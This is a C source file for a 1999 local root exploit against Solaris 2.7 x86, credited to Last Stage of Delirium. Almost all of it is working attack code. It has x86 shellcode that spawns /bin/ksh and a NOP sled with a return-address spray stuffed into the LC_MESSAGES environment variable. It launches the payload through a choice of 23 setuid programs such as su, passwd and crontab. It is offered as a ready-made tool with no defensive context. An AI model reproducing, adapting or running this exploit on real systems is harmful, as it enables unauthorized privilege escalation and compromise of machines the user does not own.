libc2-x86.c

/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland libc2-x86.c

/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland *://lsd-pl.net/ #*/
/*## libc.so $LC_MESSAGES #*/

#define NOPNUM 4000
#define ADRNUM 4000

char shellcode[]=
"\xeb\x1b" /* jmp <shellcode+30> */
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),edi */
"\x52" /* pushl %edx */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x8(%edx) */
"\x83\xef\x3c" /* subl $0x3c,%edi */
"\xb0\x9a" /* movb $0x9a,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\x47" /* incl %edi */
"\xb0\x07" /* movb $0x7,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xe0\xff\xff\xff" /* call <shellcode+2> */
"/bin/ksh"
;

char jump[]=
"\x8b\xc4" /* movl %esp,%eax */
"\xc3" /* ret */
;

main(int argc,char **argv){
char buffer[10000],adr[4],*b,*envp[3];
int i,n=-1;

printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland //lsd-pl.net/\n");
printf("libc.so $LC_MESSAGES for solaris 2.7 x86\n\n");

if(argc!=2){
printf("usage: %s {list_devices|deallocate|traceroute|mkdevmaps|"
"mkdevalloc|allocate|volrmmount|volcheck|nispasswd|yppasswd|"
"su|rcp|fdformat|eject|crontab|atrm|atq|at|ufsdump|netpr|rlogin|"
"passwd|rsh}\n",argv[0]);
exit(-1);
}
if(!strcmp(argv[1],"list_devices")) n=0;
if(!strcmp(argv[1],"deallocate")) n=1;
if(!strcmp(argv[1],"traceroute")) n=2;
if(!strcmp(argv[1],"mkdevmaps")) n=3;
if(!strcmp(argv[1],"mkdevalloc")) n=4;
if(!strcmp(argv[1],"allocate")) n=5;
if(!strcmp(argv[1],"volrmmount")) n=6;
if(!strcmp(argv[1],"volcheck")) n=7;
if(!strcmp(argv[1],"nispasswd")) n=8;
if(!strcmp(argv[1],"yppasswd")) n=9;
if(!strcmp(argv[1],"su")) n=10;
if(!strcmp(argv[1],"rcp")) n=11;
if(!strcmp(argv[1],"fdformat")) n=12;
if(!strcmp(argv[1],"eject")) n=13;
if(!strcmp(argv[1],"crontab")) n=14;
if(!strcmp(argv[1],"atrm")) n=15;
if(!strcmp(argv[1],"atq")) n=16;
if(!strcmp(argv[1],"at")) n=17;
if(!strcmp(argv[1],"ufsdump")) n=18;
if(!strcmp(argv[1],"netpr")) n=19;
if(!strcmp(argv[1],"rlogin")) n=20;
if(!strcmp(argv[1],"passwd")) n=21;
if(!strcmp(argv[1],"rsh")) n=22;
if(n==-1) exit(-1);

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+2812+2000;

envp[0]=&buffer[0];
envp[1]=&buffer[5000];
envp[2]=0;

b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<NOPNUM;i++) *b++=0x90;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

b=&buffer[5000];
sprintf(b,"LC_MESSAGES=");
b+=12;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;

switch(n){
case 0: execle("/usr/sbin/list_devices","lsd",0,envp);
case 1: execle("/usr/sbin/deallocate","lsd",0,envp);
case 2: execle("/usr/sbin/traceroute","lsd",0,envp);
case 3: execle("/usr/sbin/mkdevmaps","lsd",0,envp);
case 4: execle("/usr/sbin/mkdevalloc","lsd",0,envp);
case 5: execle("/usr/sbin/allocate","lsd",0,envp);
case 6: execle("/usr/bin/volrmmount","lsd",0,envp);
case 7: execle("/usr/bin/volcheck","lsd",0,envp);
case 8: execle("/usr/bin/nispasswd","lsd",0,envp);
case 9: execle("/usr/bin/yppasswd","lsd",0,envp);
case 10: execle("/usr/bin/su","lsd",0,envp);
case 11: execle("/usr/bin/rcp","lsd",0,envp);
case 12: execle("/usr/bin/fdformat","lsd",0,envp);
case 13: execle("/usr/bin/eject","lsd",0,envp);
case 14: execle("/usr/bin/crontab","lsd",0,envp);
case 15: execle("/usr/bin/atrm","lsd",0,envp);
case 16: execle("/usr/bin/atq","lsd",0,envp);
case 17: execle("/usr/bin/at","lsd",0,envp);
case 18: execle("/usr/lib/fs/ufs/ufsdump","lsd",0,envp);
case 19: execle("/usr/lib/lp/bin/netpr","lsd",0,envp);
case 20: execle("/usr/bin/rlogin","lsd",0,envp);
case 21: execle("/bin/passwd","lsd",0,envp);
case 22: execle("/bin/rsh","lsd",0,envp);
}
}
/* www.hack.co.za [10 August 2000]*/